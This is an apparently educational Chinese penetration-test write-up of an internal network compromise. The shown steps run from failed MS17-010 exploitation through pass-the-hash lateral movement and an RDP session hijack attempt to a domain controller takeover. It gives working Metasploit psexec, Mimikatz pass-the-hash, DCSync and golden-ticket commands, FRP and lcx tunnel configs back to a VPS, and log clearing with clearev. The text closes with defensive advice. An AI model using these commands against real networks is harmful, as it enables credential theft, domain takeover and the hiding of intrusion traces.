记一次实战渗透(下)
字数 1637 2025-08-05 00:16:28

实战渗透测试技术解析:从MS17-010到域控攻陷

前言

本文记录了一次完整的内部网络渗透测试过程,攻击者通过利用MS17-010漏洞初步进入内网,随后通过Pass-the-Hash技术横向移动,最终成功获取域控制器权限。本教学文档将详细解析渗透过程中的关键技术和操作步骤。

环境准备

  1. 工具准备

    • Cobalt Strike (CS):用于命令控制
    • Metasploit Framework (MSF):用于漏洞利用
    • FRP:用于建立反向代理隧道
    • Mimikatz:用于凭证提取和哈希传递
    • Lcx:用于端口转发
  2. 代理配置

    • 使用FRP建立VPS与本地Kali虚拟机之间的隧道
    • VPS作为FRP服务器端配置:
      [common]
      bind_port = 7000
      
    • Kali作为FRP客户端配置:
      [common]
      server_addr = VPS_IP
      server_port = 7000
      
      [msf]
      type = tcp
      local_ip = 127.0.0.1
      local_port = 4444
      remote_port = 6000
      

初始攻击阶段:MS17-010利用

  1. 漏洞探测

    • 发现内网三台主机存在MS17-010 (EternalBlue)漏洞
    • 使用Metasploit的auxiliary/scanner/smb/smb_ms17_010模块确认漏洞存在
  2. 攻击尝试

    • 尝试使用Cobalt Strike直接攻击但效果不佳
    • 派生会话给Metasploit进行更精细的控制
    • 遇到问题:Windows版MSF添加路由时参数错误
    • 解决方案:改用Kali Linux虚拟机通过FRP代理进行攻击
  3. 攻击结果

    • 三台目标主机均未成功利用,原因:
      • 目标系统未开启命名管道
      • 系统安全性较高,EternalBlue模块无法成功利用

横向移动:Pass-the-Hash技术

  1. 发现新攻击面

    • 通过端口扫描发现大量主机开放445端口(SMB)
    • 决定采用Pass-the-Hash (PTH)技术进行横向移动
  2. 批量哈希传递

    • 使用Metasploit的exploit/windows/smb/psexec模块
    • 或使用Cobalt Strike的pth命令
    • 配置示例:
      use exploit/windows/smb/psexec
      set SMBDomain 域名
      set SMBUser 用户名
      set SMBPass 哈希值
      set payload windows/meterpreter/reverse_tcp
      set LHOST 监听IP
      set LPORT 监听端口
      exploit
      
  3. 攻击成果

    • 成功获取多台主机权限
    • 开始信息收集,寻找域管理员线索

RDP会话劫持尝试

  1. 发现高权限会话

    • 在27号主机上发现两个RDP会话:
      • 已知账号的普通域账户(已获取明文密码)
      • 域管理员账户会话(状态显示为断开)
  2. 劫持准备

    • 使用lcx建立端口转发:
      • 目标机器执行:
        lcx.exe -slave 公网IP 7212 127.0.0.1 3389
        
      • VPS执行:
        lcx -listen 7212 5555
        
  3. 会话劫持尝试

    • 在CS上执行:
      shell tscon 2 /dest:console
      
    • 失败原因:
      • 目标会话已断开(STATE显示为Disc)
      • 权限不足(需要SYSTEM权限)

域控制器攻陷

  1. 哈希收集与整合

    • 使用Mimikatz的sekurlsa::logonpasswords或Cobalt Strike的hashdump获取多台主机哈希
    • 发现域管理员账户(Administrator)的哈希
  2. 哈希传递攻击

    • 多次尝试后成功使用域管理员哈希访问域控制器
    • 关键命令:
      mimikatz # sekurlsa::pth /user:Administrator /domain:域名 /ntlm:哈希值
      
  3. 域控信息提取

    • 使用Mimikatz的DCSync功能导出所有域用户哈希:
      lsadump::dcsync /domain:域名 /all /csv
      
    • 获取近千个域用户凭证
  4. RDP登录验证

    • 选择一个未连接的域用户
    • 使用其哈希解密获取明文密码
    • 成功通过RDP登录验证权限

后渗透清理与报告

  1. 痕迹清理

    • 删除创建的临时文件
    • 清理日志(使用如clearev命令)
  2. 报告要点

    • 详细记录攻击路径
    • 标注脆弱点(MS17-010未修补、共享相同凭证等)
    • 提供修复建议(补丁管理、权限分离等)

关键工具使用技巧

  1. Mimikatz高级用法

    # 提取内存中的凭证
    sekurlsa::logonpasswords
    
    # DCSync攻击
    lsadump::dcsync /domain:域名 /user:目标用户
    
    # 生成黄金票据
    kerberos::golden /user:任意用户名 /domain:域名 /sid:SID /krbtgt:KRBTGT哈希 /ticket:生成的票据名.kirbi
    
  2. Cobalt Strike与Metasploit交互

    # CS派生会话给MSF
    spawn [x86|x64] [监听器名称]
    
    # MSF接收CS会话
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set LHOST 监听IP
    set LPORT 监听端口
    exploit
    

防御建议

  1. 预防措施

    • 及时修补已知漏洞(如MS17-010)
    • 禁用SMBv1协议
    • 实施LAPS(本地管理员密码解决方案)
  2. 检测措施

    • 监控异常哈希传递行为
    • 检测DCSync异常请求
    • 审计域管理员账户活动
  3. 响应措施

    • 建立应急响应流程
    • 准备凭证重置方案
    • 保留足够日志用于取证

通过本案例可以看出,即使初始漏洞利用失败,通过系统的信息收集和多种攻击技术的组合运用,仍然可能找到其他攻击路径最终达成目标。这强调了防御方需要实施纵深防御策略的重要性。

实战渗透测试技术解析:从MS17-010到域控攻陷 前言 本文记录了一次完整的内部网络渗透测试过程,攻击者通过利用MS17-010漏洞初步进入内网,随后通过Pass-the-Hash技术横向移动,最终成功获取域控制器权限。本教学文档将详细解析渗透过程中的关键技术和操作步骤。 环境准备 工具准备 : Cobalt Strike (CS):用于命令控制 Metasploit Framework (MSF):用于漏洞利用 FRP:用于建立反向代理隧道 Mimikatz:用于凭证提取和哈希传递 Lcx:用于端口转发 代理配置 : 使用FRP建立VPS与本地Kali虚拟机之间的隧道 VPS作为FRP服务器端配置: Kali作为FRP客户端配置: 初始攻击阶段:MS17-010利用 漏洞探测 : 发现内网三台主机存在MS17-010 (EternalBlue)漏洞 使用Metasploit的 auxiliary/scanner/smb/smb_ms17_010 模块确认漏洞存在 攻击尝试 : 尝试使用Cobalt Strike直接攻击但效果不佳 派生会话给Metasploit进行更精细的控制 遇到问题:Windows版MSF添加路由时参数错误 解决方案:改用Kali Linux虚拟机通过FRP代理进行攻击 攻击结果 : 三台目标主机均未成功利用,原因: 目标系统未开启命名管道 系统安全性较高,EternalBlue模块无法成功利用 横向移动:Pass-the-Hash技术 发现新攻击面 : 通过端口扫描发现大量主机开放445端口(SMB) 决定采用Pass-the-Hash (PTH)技术进行横向移动 批量哈希传递 : 使用Metasploit的 exploit/windows/smb/psexec 模块 或使用Cobalt Strike的 pth 命令 配置示例: 攻击成果 : 成功获取多台主机权限 开始信息收集,寻找域管理员线索 RDP会话劫持尝试 发现高权限会话 : 在27号主机上发现两个RDP会话: 已知账号的普通域账户(已获取明文密码) 域管理员账户会话(状态显示为断开) 劫持准备 : 使用lcx建立端口转发: 目标机器执行: VPS执行: 会话劫持尝试 : 在CS上执行: 失败原因: 目标会话已断开(STATE显示为Disc) 权限不足(需要SYSTEM权限) 域控制器攻陷 哈希收集与整合 : 使用Mimikatz的 sekurlsa::logonpasswords 或Cobalt Strike的 hashdump 获取多台主机哈希 发现域管理员账户(Administrator)的哈希 哈希传递攻击 : 多次尝试后成功使用域管理员哈希访问域控制器 关键命令: 域控信息提取 : 使用Mimikatz的DCSync功能导出所有域用户哈希: 获取近千个域用户凭证 RDP登录验证 : 选择一个未连接的域用户 使用其哈希解密获取明文密码 成功通过RDP登录验证权限 后渗透清理与报告 痕迹清理 : 删除创建的临时文件 清理日志(使用如 clearev 命令) 报告要点 : 详细记录攻击路径 标注脆弱点(MS17-010未修补、共享相同凭证等) 提供修复建议(补丁管理、权限分离等) 关键工具使用技巧 Mimikatz高级用法 : Cobalt Strike与Metasploit交互 : 防御建议 预防措施 : 及时修补已知漏洞(如MS17-010) 禁用SMBv1协议 实施LAPS(本地管理员密码解决方案) 检测措施 : 监控异常哈希传递行为 检测DCSync异常请求 审计域管理员账户活动 响应措施 : 建立应急响应流程 准备凭证重置方案 保留足够日志用于取证 通过本案例可以看出,即使初始漏洞利用失败,通过系统的信息收集和多种攻击技术的组合运用,仍然可能找到其他攻击路径最终达成目标。这强调了防御方需要实施纵深防御策略的重要性。